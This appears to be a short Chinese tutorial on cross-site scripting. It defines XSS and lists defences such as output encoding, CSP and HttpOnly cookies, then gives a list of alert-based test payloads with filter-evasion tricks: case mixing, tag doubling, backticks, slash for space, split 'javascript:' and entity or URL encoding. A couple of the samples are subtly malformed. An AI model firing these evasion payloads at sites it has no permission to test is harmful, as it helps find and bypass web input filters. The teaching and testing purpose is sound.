一、xss漏洞概念

XSS(跨站脚本攻击,Cross-Site Scripting)是一种安全漏洞,它允许攻击者在网页上注入恶意脚本。这些脚本可能用于盗取cookie,盗取用户数据、操纵DOM、进行网络钓鱼等。

二、xss漏洞解决办法

1、对所有的输入进行过滤和清理,确保输入的数据不包含任何可能导致XSS的字符或序列。

2、对所有的输出进行编码,确保输出的数据不会被浏览器解释为代码。

3、使用内容安全策略(CSP),它能有效地限制网页上可以加载的资源。

4、使用HTTPOnly标志,防止脚本通过document.cookie获取cookie数据。

5、对于富文本内容,使用可信的HTML解析器,并进行适当的转义。

## 三、xss漏洞payload
在某个网页的提交内容处添加以下代码,测试是否有弹窗跳出,如果有则说明,该网站存在漏洞
更多payload
典型脚本

<script>alert('xss')</script>
"><script>alert('xss')</script>

利用 HTML 标签的属性脚本

"><img src=x οnerrοr=alert("XSS");>

<img src=x:alert(alt) onerror=eval(src) alt=xss>

<img src=x onerror=alert('XSS');>

<img src=x onerror=alert(String.fromCharCode(88,83,83));>

变形方法脚本
大小写

<sCript>alert('xss')</Script>        将标签中的部分小写字母改为大写

双写

<scrscriptipt>alert('xss')</scrscriptipt>        对原来的<script>标签变形    

引号

<img src="#" onerror="alert('xss')"/>        双引号包裹执行命令的alert函数
<img src="#" onerror=alert`xss`/>        反引号代替括号包裹xss内容

/ 代替空格

<img/src='#'/onerror='alert('xss')'/>

Tab 与回车

在语句中穿插 Tab和回车

<a href="j
avascript:alert('xss')">click me!
</a>

编码

<a href="j&#97;v&#x61;script:alert('xss')>click me!</a>        HTML实体编码
%3Cscript%3Ealert('xss')%3C/script%3E        URL编码